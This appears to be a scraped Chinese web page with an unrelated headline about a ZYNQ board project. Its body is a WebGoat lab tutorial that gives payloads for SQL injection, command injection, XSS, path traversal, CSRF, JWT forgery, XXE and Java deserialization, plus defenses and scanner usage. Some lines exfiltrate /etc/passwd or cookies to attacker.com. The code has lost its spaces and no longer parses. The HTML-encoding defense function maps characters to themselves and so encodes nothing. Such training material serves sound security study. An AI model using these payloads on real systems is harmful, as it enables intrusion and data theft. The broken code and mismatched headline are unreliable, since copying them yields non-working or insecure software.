榨干ZYNQ核心板性能:基于这块XC7Z020板卡实现HDMI输出与以太网传输的实战项目
2026/5/2 14:51:36
WebGoat是OWASP(开放式Web应用程序安全项目)维护的一个专门用于Web应用安全学习的靶场平台。它是一个故意设计成不安全的教育工具,包含大量真实的漏洞场景。
# 拉取最新版本docker pull webgoat/goatandwolf# 运行容器docker run -d -p8080:8080 -p9090:9090 webgoat/goatandwolf# 访问地址:# WebGoat: http://localhost:8080/WebGoat# WebWolf: http://localhost:9090/WebWolf# 下载最新jar包wgethttps://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webgoat-server-8.2.2.jarwgethttps://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webwolf-8.2.2.jar# 启动WebGoatjava -jar webgoat-server-8.2.2.jar --server.port=8080# 启动WebWolf(另一个终端)java -jar webwolf-8.2.2.jar --server.port=9090# HTTP请求方法实验 GET /WebGoat/HttpBasics/attack1?param=value HTTP/1.1 Host: localhost:8080 User-Agent: WebGoat/1.0 # 修改请求方法 POST /WebGoat/HttpBasics/attack1 HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 11 param=value数字型注入:
-- 基础注入101OR1=1-- 获取额外数据101OR1=1UNIONSELECTuserid,user_name,password,cookie,cookieFROMuser_system_data-- 盲注测试101AND(SELECTSUBSTRING(password,1,1)FROMuser_system_dataWHEREuser_name='tom')='a'字符串注入:
-- 绕过登录' OR '1'='1-- 获取表结构';SELECT*FROMinformation_schema.tables--# 基础注入127.0.0.1&&ls-la# 利用DNS泄露数据127.0.0.1&&nslookup$(cat/etc/passwd|base64).attacker.com# 时间盲注127.0.0.1&&sleep5// 基础脚本<script>alert(document.domain)</script>// 窃取Cookie<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>// DOM XSS<iframe src="javascript:alert(document.cookie)"></iframe>// 评论区注入<img src="x"onerror="fetch('http://localhost:9090/files/steal',{method:'POST',body:JSON.stringify({cookie:document.cookie})})">// 持久化payload<script>localStorage.setItem('malicious','payload')</script># 修改用户ID访问他人数据 GET /WebGoat/IDOR/profile/101 HTTP/1.1 Cookie: JSESSIONID=xxx; authenticated=true # 尝试访问他人账户 GET /WebGoat/IDOR/profile/102 HTTP/1.1# 普通用户尝试访问管理员功能 POST /WebGoat/access-control/user-menu HTTP/1.1 Content-Type: application/json {"menu": "admin"}# 搜索JS文件中的密钥grep-r"api_key"static/grep-r"password"src/# 检查源代码注释view-source:http://localhost:8080/WebGoatGET /WebGoat/PathTraversal/random-picture?../../../../etc/passwd GET /WebGoat/PathTraversal/profile-picture?fileName=../../../application.properties<!-- 构造恶意表单 --><formaction="http://localhost:8080/WebGoat/csrf/basic-get-flag"method="POST"><inputtype="hidden"name="csrf"value="false"><inputtype="submit"value="点击领奖"></form><script>document.forms[0].submit()</script><!-- 上传恶意HTML文件 --><formaction="http://localhost:9090/WebWolf/fileupload"method="post"enctype="multipart/form-data"><inputtype="file"name="file"><inputtype="submit"></form><!-- 文件内容:CSRF攻击页面 --><script>fetch('http://localhost:8080/WebGoat/csrf/attack',{method:'POST',body:'confirmFlagVal=test'})</script># 使用nc监听nc-l -p9090# 发送钓鱼邮件(WebWolf内建功能)收件人:webgoat@localhost 主题:密码重置 内容:<ahref="http://localhost:9090/files/your-malicious-page">点击重置密码</a>// 1. 修改算法为noneconstheader={"alg":"none","typ":"JWT"};// 2. 密钥混淆攻击// 尝试使用弱密钥:secret、password、123456constjwt=require('jsonwebtoken');consttoken=jwt.sign({user:'admin'},'secret');// 3. 修改payload// 解码JWT -> 修改数据 -> 重新编码<!-- 外部实体注入 --><?xml version="1.0"?><!DOCTYPEfoo[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><comment><text>&xxe;</text></comment><!-- 使用参数实体 --><!DOCTYPEfoo[<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY%exfil SYSTEM 'http://attacker.com/?%file;'>"> %eval; %exfil;]>// Java反序列化payloadpublicclassMaliciousimplementsSerializable{privatevoidreadObject(ObjectInputStreamin)throwsException{Runtime.getRuntime().exec("calc.exe");}}// 生成序列化对象ByteArrayOutputStreambos=newByteArrayOutputStream();ObjectOutputStreamoos=newObjectOutputStream(bos);oos.writeObject(newMalicious());Stringencoded=Base64.getEncoder().encodeToString(bos.toByteArray());// 使用预编译语句Stringsql="SELECT * FROM users WHERE id = ?";PreparedStatementstmt=connection.prepareStatement(sql);stmt.setInt(1,userId);ResultSetrs=stmt.executeQuery();// 使用存储过程CallableStatementcs=connection.prepareCall("{call get_user(?)}");cs.setInt(1,userId);ResultSetrs=cs.executeQuery();// 前端编码functionencodeHTML(str){returnstr.replace(/[&<>"']/g,function(match){return{'&':'&','<':'<','>':'>','"':'"',"'":'''}[match];});}// 设置CSP头Content-Security-Policy:default-src'self';script-src'self''unsafe-inline'// 添加CSRF Token<form action="/transfer"method="post"><input type="hidden"name="csrf_token"value="${session.csrfToken}"><input type="text"name="amount"><input type="submit"></form>// 验证RefererStringreferer=request.getHeader("Referer");if(!referer.startsWith("https://trusted-domain.com")){thrownewSecurityException("Invalid referer");}Proxy配置:-监听端口:8081-目标作用域:localhost:8080-拦截规则:.*WebGoat.*Intruder使用: 1. 标记注入点:§param§ 2. 选择攻击类型:Sniper 3. 加载Payload文件:sqli-payloads.txt 4. 开始攻击# 启动ZAPzap.sh -daemon -port8090-host0.0.0.0# 运行自动化扫描zap-cli quick-scan -s all http://localhost:8080/WebGoat zap-cli report -o webgoat-report.html -f html#!/usr/bin/env python3# WebGoat自动化测试脚本importrequestsfrombs4importBeautifulSoupclassWebGoatTester:def__init__(self,base_url="http://localhost:8080"):self.session=requests.Session()self.base_url=base_urldeflogin(self,username="webgoat",password="password"):login_url=f"{self.base_url}/WebGoat/login"data={"username":username,"password":password}response=self.session.post(login_url,data=data)return"success"inresponse.textdeftest_sql_injection(self):url=f"{self.base_url}/WebGoat/SqlInjection/assignment5a"payloads=["Smith' OR '1'='1","Smith' UNION SELECT 1,2,3--","Smith' AND SLEEP(5)--"]forpayloadinpayloads:params={"name":payload}response=self.session.get(url,params=params)if"success"inresponse.text:print(f"成功:{payload}")returnTruereturnFalse# 端口占用netstat-ano|findstr :8080 taskkill /PID[PID]/F# Docker容器启动失败docker logs webgoat_container dockerrmwebgoat_container&&docker run...# 调整JVM参数java -Xmx2g -Xms512m -jar webgoat-server-8.2.2.jar# 使用Docker资源限制docker run -d -p8080:8080 -m 2g --cpus=2webgoat/goatandwolf通过本教程,将系统掌握Web应用安全的核心漏洞类型、攻击方法和防御措施。建议按照模块顺序逐步学习,每个漏洞类型都要理解原理、掌握攻击方法、学会防御措施。实践是最好的老师,多做练习才能真正掌握!